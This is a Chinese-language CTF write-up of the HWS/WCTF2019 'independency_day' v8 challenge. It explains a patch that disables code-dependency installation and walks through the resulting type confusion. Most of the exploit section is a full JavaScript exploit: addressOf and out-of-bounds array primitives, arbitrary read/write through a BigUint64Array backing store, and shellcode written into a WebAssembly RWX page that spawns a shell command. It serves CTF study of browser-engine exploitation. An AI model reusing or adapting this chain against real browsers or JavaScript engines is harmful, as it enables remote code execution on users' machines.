华为XCTF专场-HWS-v8 暨 WCTF2019-independency_day题解

华为XCTF专场-HWS-v8 暨 WCTF2019-independency_day题解

前言

华为XCTF比赛时P4nda学长说这个题完全用了WCTF2019-independency day的题目,原题是在win7-32bit下的,这道题刚好是linux下的,这里记录一下解题的过程。其中WCTF的题目比较难找,地址在这里

环境搭建

为了能在release版本下调试,稍微修改下args.gn

1
2
3
4
5
6
7
8
is_debug = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
symbol_level=2
target_cpu = "x64"
v8_untrusted_code_mitigations = false
1
2
3
4
git reset --hard 51a443ce
gclient sync
git apply diff.patch
ools/dev/v8gen.py x64.release

漏洞分析

patch如下,直接把InstallDependency给注释了,查看下相对引用,发现这个函数是所有*Dependency类的成员函数Install的核心。比如下面的TransitionDependency,用来绑定map transition过程中的依赖,每个依赖都会对应增加weak code用来监督对象类型,以确定是否要进行解优化。在之前的分析中我们介绍过v8使用两种解优化的方式:eager deoptimization/lazy deoptimization,前者对应CheckMaps节点,后者对应code dependency机制。其中对于stable map我们使用code dependency,所谓的stable mapmaptransition链中最后一环,我们在gdb调试时使用DebugPrint时可以看到Map信息中会标记出stable map

WCTF的分享中使用double array->dictionary触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class TransitionDependency final : public CompilationDependency {
public:
explicit TransitionDependency(const MapRef& map) : map_(map) {
DCHECK(!map_.is_deprecated());
}

bool IsValid() const override { return !map_.object()->is_deprecated(); }

void Install(const MaybeObjectHandle& code) const override {
SLOW_DCHECK(IsValid());
DependentCode::InstallDependency(map_.isolate(), code, map_.object(),
DependentCode::kTransitionGroup);
}

private:
MapRef map_;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 1004180669..b032e456b9 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -943,18 +943,6 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
- if (V8_UNLIKELY(FLAG_trace_code_dependencies)) {
- StdoutStream{} << "Installing dependency of [" << code->GetHeapObject()
- << "] on [" << object << "] in group ["
- << DependencyGroupName(group) << "]\n";
- }
- Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
- isolate);
- Handle<DependentCode> new_deps =
- InsertWeakCode(isolate, old_deps, group, code);
- // Update the list head if necessary.
- if (!new_deps.is_identical_to(old_deps))
- DependentCode::SetDependentCode(object, new_deps);
}

Handle<DependentCode> DependentCode::InsertWeakCode(

因为这里将安装dependency的函数注释掉了,我们的优化函数中不再有检查参数类型的操作,当我们修改掉对象类型再传参进入优化函数后,函数仍会按照之前的map类型解析和操作对象,可以借此构造出类型混淆。下面是最简单的一种类型混淆的方式,我们在优化完成后修改arr[2]的类型为obj,即可构造出addressOf原语,因为压缩指针的缘故,我们再在其后面布置oob_arr,即可以同样方式越界写其length字段得到OOB数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
//addressOf
function foo(idx)
{
var res = arr[idx];
//callback();
return res;
}
for(var i = 0; i < 0x10000; i++){
foo(0);
}
arr[2] = {}
console.log(foo(1));
//4.6038898435321547e-269

这里发现指针压缩后在其后布置oob_arr仍不能越界访问到,联想到之前CVE-2020-6418的对象空间布局,我们布置一些hole在数组之前,最后成功越界读和写得到了oob_arr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
var obj = {};
var arr = [1.1,2.2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,5.5, 6.6, 7.7,1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7,1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7,];
arr.x = 2;
// gc();
var oob_arr;

// gc();

function foo(idx)
{
var res = arr[idx];
return res;
}

function foo1(idx, val)
{
arr[idx] = val;
}
// %PrepareFunctionForOptimization(foo);
// foo(0);
// %OptimizeFunctionOnNextCall(foo);
for(var i = 0; i < 0x10000; i++){
foo(0);
}
for(var i = 0; i < 0x10000; i++){
foo1(0, 0.1);
}
// gc();
// oob_arr = [13.37];
//gc();
arr[1] = {};
//gc();
oob_arr = [13.37];
// gc();
var res = f2i(foo(92)) & 0xffffffffn;
console.log(hex(res));
var evil = 0x3fc0n * 0x100000000n + res;
foo1(92,i2f(evil));
%DebugPrint(arr);
%DebugPrint(oob_arr);
%SystemBreak();
/*
DebugPrint: 0xa3d080c45d9: [JSArray]
- map: 0x0a3d082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a3d0820b615 <JSArray[0]>
- elements: 0x0a3d080c45f1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 8160
- properties: 0x0a3d08042229 <FixedArray[0]>
- All own properties (excluding elements): {
0xa3d080446c1: [String] in ReadOnlySpace: #length: 0x0a3d08182159 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0a3d080c45f1 <FixedDoubleArray[1]> {
0: 13.37
}

*/

漏洞利用

在下面的exp中我使用的是WCTF的方式,通过构造double array->dictionary的map转换实现了越界读写(一旦转换为字典模式后,中间的空间都是free spce,而对于优化函数来说依然是按照索引访存和取值)。之后依然是通过obj_arr实现addressOf原语,通过BigUint64Array实现任意地址读写,最后wasm执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
function gc(){
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);

var dv = new DataView(buf);

function f2i(val)
{
dv.setFloat64(0,val,true);
return dv.getBigUint64(0,true);
}

function i2f(val)
{
dv.setBigUint64(0,BigInt(val),true);
return dv.getFloat64(0,true);
}

function f2half(f)
{
f64[0] = f;
let tmp = Array.from(u32);
return tmp;
}

function half2f(val)
{
u32.set(val);
return f64[0];
}

function p64f(high,low){
dv.setUint32(0,high,true);
dv.setUint32(4,low,true);
return dv.getFloat64(0,true);
}

function ByteToBigIntArray(payload)
{

let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}

let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}

function hex(i){
return i.toString(16).padStart(16,"0");
}

var obj = {};
var arr = [1.1, 2.2, 3.3, 4.4];
arr.x = 2;
// gc();
var oob_arr;

// gc();

function foo(idx)
{
return arr[idx];
}

function foo1(idx, val)
{
arr[idx] = val;
}
// %PrepareFunctionForOptimization(foo);
// foo(0);
// %OptimizeFunctionOnNextCall(foo);
for(var i = 0; i < 0x10000; i++){
foo(0);
}
for(var i = 0; i < 0x10000; i++){
foo1(0, 0.1);
}
// %DebugPrint(arr);
// %DebugPrint(oob_arr);
// %SystemBreak();
//change the map from array to dictionary
arr[0x100000] = 13.37;

oob_arr = [1.337];
var obj_arr = {mark:0xdead,obj:obj};
var big_arr = new BigUint64Array(6);
// big_arr = ;
// %DebugPrint(arr);
// %DebugPrint(oob_arr);
// %SystemBreak();
var res = f2i(foo(30)) & 0xffffffffn;
var evil = 0x3fc0n * 0x100000000n + res;
foo1(30, i2f(evil));
// console.log(hex(f2i(8.063e-320)));
// console.log(hex(res));
// console.log(hex(evil));
// %DebugPrint(arr);
//get OOB arr
//leak the base and external pointer

var length_idx = 30;
var external_idx = 31;
var base_idx = 32;
//leak the base and the external pointer
var length = f2i(oob_arr[length_idx]);
console.log("[+]The length of bigUint64Arr is : " + hex(length));
var external_pointer = f2i(oob_arr[external_idx]);
console.log("[+]The external pointer is : " + hex(external_pointer));
var base_pointer = f2i(oob_arr[base_idx]);
console.log("[+]The base pointer is : " + hex(base_pointer));
%DebugPrint(oob_arr);
%DebugPrint(obj_arr);
%DebugPrint(big_arr);
%SystemBreak();
//
function heap_read(addr)
{
//set base pointer
oob_arr[base_idx] = i2f(addr-0x8n);
var res = big_arr[0];
return res;
}

function arb_read(addr)
{
oob_arr[base_idx] = i2f(0n);
oob_arr[external_idx] = i2f(addr);
var res = big_arr[0];
return res;
}

function arb_write(addr, payload)
{
var payload_u64 = ByteToBigIntArray(payload);
oob_arr[length_idx] = i2f(payload_u64.length);
oob_arr[base_idx] = i2f(0n);
oob_arr[external_idx] = i2f(addr);
//set len
// print(payload_u64);
// %SystemBreak();
//
for(let i = 0; i < payload_u64.length; i++){
big_arr[i] = payload_u64[i];
}
}

function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
var wasm_function = wasm_func();
var obj_idx = 3;
function addressOf(obj)
{
obj_arr.obj = obj;
return f2i(oob_arr[3]);
}

var wasm_function_addr = addressOf(wasm_function) & 0xffffffffn;
console.log("[+]wasm function addr : " + hex(wasm_function_addr));

var shared_info_addr = heap_read(wasm_function_addr+0xcn) & 0xffffffffn;
console.log("[+] shared info addr : 0x" + hex(shared_info_addr));

var data_addr = heap_read(shared_info_addr+0x4n) & 0xffffffffn;
console.log("[+] data addr : 0x" + hex(data_addr));

var instance_addr = heap_read(data_addr+0x8n) & 0xffffffffn;
console.log("[+] instance addr : 0x" + hex(instance_addr));

var wasm_addr = heap_read(instance_addr+0x68n);
console.log("[+] wasm addr : 0x" + hex(wasm_addr));

let shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

arb_write(wasm_addr, shellcode);
//%SystemBreak();
wasm_function();

参考

Trashing the Flow of Data

您的支持将鼓励我继续创作